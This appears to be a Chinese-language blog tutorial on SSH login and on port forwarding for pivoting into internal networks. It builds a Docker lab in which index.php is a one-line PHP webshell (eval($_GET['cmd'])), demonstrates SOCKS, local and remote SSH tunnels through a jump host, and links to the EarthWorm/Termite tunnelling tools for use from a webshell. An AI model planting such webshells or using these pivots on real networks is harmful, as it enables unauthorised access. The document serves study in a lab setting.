前言
内网端口转发是个神奇的东西,记录一下
ssh简介
在端口转发之前先简单介绍ssh,ssh其实就是一种网络协议,用在计算机之间的加密登录,就是我们在自己的机子用ssh协议远程登录另一个机子,即使中间被截获了,还是安全的,密码并不会泄露
登录命令很简单,就是1
2当本地用户与远程用户一样的时候可以缺省user,默认端口22
ssh user@host -p 2345
而ssh登录过程是这样的1
2
3远程主机接收到登录的请求,发送自己的公钥
用户接收公钥,加密登录密码,发过去
远程主机私钥解密密码,如果一致就允许登录
可以看到,这个过程还是很安全的,但是还有一种可能,如果有人截获了登录请求,然后冒充远程主机将伪造的公钥发给用户,用户就很难辨别是真还是假了,这就是常说的中间人攻击
口令登录
当我们第一次登陆的时候,系统会提示1
2
3
4 ssh user@host
The authenticity of host '[localhost]:12313 ([127.0.0.1]:12313)' can't be established.
ECDSA key fingerprint is SHA256:h60/aYmB8xxxxxx/n/ABO5Txxxxxx5DU+oZeeKAntk.
Are you sure you want to continue connecting (yes/no)?
在第一次登陆的时候,系统会提示我们只用公钥,没有办法验证主机的真实性,确定信任这个过程并继续吗,输入yes以后系统会提示主机已经得到信任,然后就是输入密码,正确就能直接登录进去了,同时远程主机的公钥也会被保存到$HOME/.ssh/known_hosts
文件中(linux系统通常为/etc/ssh/ssh_known_hosts
),因此下一次登录的时候因为能找出公钥,所以会跳过警告部分
秘钥登录
就是我们自己先把公钥文件存储在远程主机上,然后远程主机发一串随机字符串,本地用私钥加密发给远程主机,主机公钥解密以后如果跟原来一样就允许登录,不需要填写密码
一般如果有秘钥文件的话会在自己的$HOME/.ssh/
目录下找到一个id_rsa.pub和id_rsa文件,没有的话运行ssh-keygen
去生成一个,然后再用ssh-copy-id user@host
去把公钥发到远程主机上,注释远程主机/etc/ssh/sshd_config
文件以下命令1
2
3RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys
重启一下ssh就能秘钥登录了
端口转发
ssh的连接是有方向的,从ssh client发去ssh serve
环境搭建
先给个简单的带内网的dockerfile,部署了两个php7.3-apache环境1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19version: '2'
services:
machineA:
image: php:7.3-apache
ports:
- "0.0.0.0:23333:23333"
- "0.0.0.0:12313:22"
- "0.0.0.0:12314:80"
volumes:
- ./index.php:/var/www/html/index.php
restart: always
links:
- machineB
machineB:
image: php:7.3-apache
volumes:
- ./index.php:/var/www/html/index.php
tty:
true
index.php就是一个简单的一句话木马
正向代理
假设有ABC三台主机,A请求C,B做代理,代替A访问C,将结果返回给A
这种方法操作十分简便,但是需要我们知道中间的作为跳板的B的ssh密码
先给machineA装一个openssh-server,配好账号密码1
adduser ariel --gid 1000 --home /home/ariel
添加用户到ssh文件中,运行它远程登录1
AllowUsers: ariel
重启一下ssh服务即可
方法一
将主机的2333端口和machineA(也就是作为中间代理的B)连接起来1
2
3
4C:\Users\Ariel>ssh -D 2333 ariel@*.*.*.* -p 12313
ariel@134.175.34.73's password:
...
ariel@852dde7c09b9:
这样子我们就成功地连接了A和B,再配置一下火狐的代理,因为ssh只能作为socks的代理,所以我们只配置它代理socks主机
然后就能通过B访问到内网的主机C了
方法二
本地转发还有别的方法1
2
3
4
5C:\Users\Ariel>ssh -L 2333:192.168.80.3:80 ariel@*.*.*.* -p 12313
ariel@134.175.34.73's password:
ariel@852dde7c09b9:~$
也可以缺省网卡ip,这就相当于访问localhost(也就是*.*.*.*)的80端口
ssh -L 2333:localhost:80 ariel@*.*.*.* -p 12313
这样转发是将machineA(也就是B)作为跳板,将machineB(即C)的80端口的流量转发到本地的2333端口,相当于访问本地的2333端口时,就是访问machineB的服务
这个不需要设置代理,直接访问127.0.0.1:2333可以相当于访问192.168.80.3:80
方法三
上面的方法都是先要有ssh口令才能转发的,如果只有webshell,那就需要用到端口转发工具了
下载地址1
2旧版:http://rootkiter.com/EarthWorm/
新版:http://rootkiter.com/Termite/
先把文件放进去machineA,确定好系统版本执行相对应的文件
然后配置好浏览器的代理,就能访问到machineB的服务了
反向代理
这里来个反向代理
方法一
1
2
3
4
5
6
7ssh -R 2333:192.168.80.3:80 ubuntu@*.*.*.*
ubuntu@*.*.*.*'s password:
ubuntu@VM-0-10-ubuntu:~$ curl http://127.0.0.1:2333
<code><span style="color: #000000">
<br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #0<br />eval(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'cmd'</span><span style="color: #007700">]);</span>
</span>
这里是通过B去连接A,如果我们访问本地的2333端口,相当于访问192.168.80.3的80端口
方法二
这个也是有个webshell,不需要ssh口令就能连接过去
这里同样给个多级内网的环境1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76version: '2'
services:
machineA:
image: php:7.3-apache
ports:
- "0.0.0.0:2345:2345"
- "0.0.0.0:12311:22"
- "0.0.0.0:12312:80"
mem_limit: 200m
volumes:
- ./index.php:/var/www/html/index.php
restart: always
networks:
out_network:
ipv4_address: 10.0.20.10
innerA_network:
ipv4_address: 10.0.30.10
machineB:
image: php:7.3-apache
mem_limit: 200m
volumes:
- ./index.php:/var/www/html/index.php
restart: always
networks:
innerA_network:
ipv4_address: 10.0.30.11
innerB_network:
ipv4_address: 10.0.40.10
machineC:
image: php:7.3-apache
mem_limit: 200m
volumes:
- ./index.php:/var/www/html/index.php
restart: always
networks:
innerB_network:
ipv4_address: 10.0.40.11
innerC_network:
ipv4_address: 10.0.50.10
machineD:
image: php:7.3-apache
mem_limit: 200m
volumes:
- ./index.php:/var/www/html/index.php
restart: always
networks:
innerC_network:
ipv4_address: 10.0.50.11
innerD_network:
ipv4_address: 10.0.60.10
networks:
out_network:
ipam:
driver: default
config:
- subnet: 10.0.20.0/24
innerA_network:
ipam:
driver: default
config:
- subnet: 10.0.30.0/24
innerB_network:
ipam:
driver: default
config:
- subnet: 10.0.40.0/24
innerC_network:
ipam:
driver: default
config:
- subnet: 10.0.50.0/24
innerD_network:
ipam:
driver: default
config:
- subnet: 10.0.60.0/24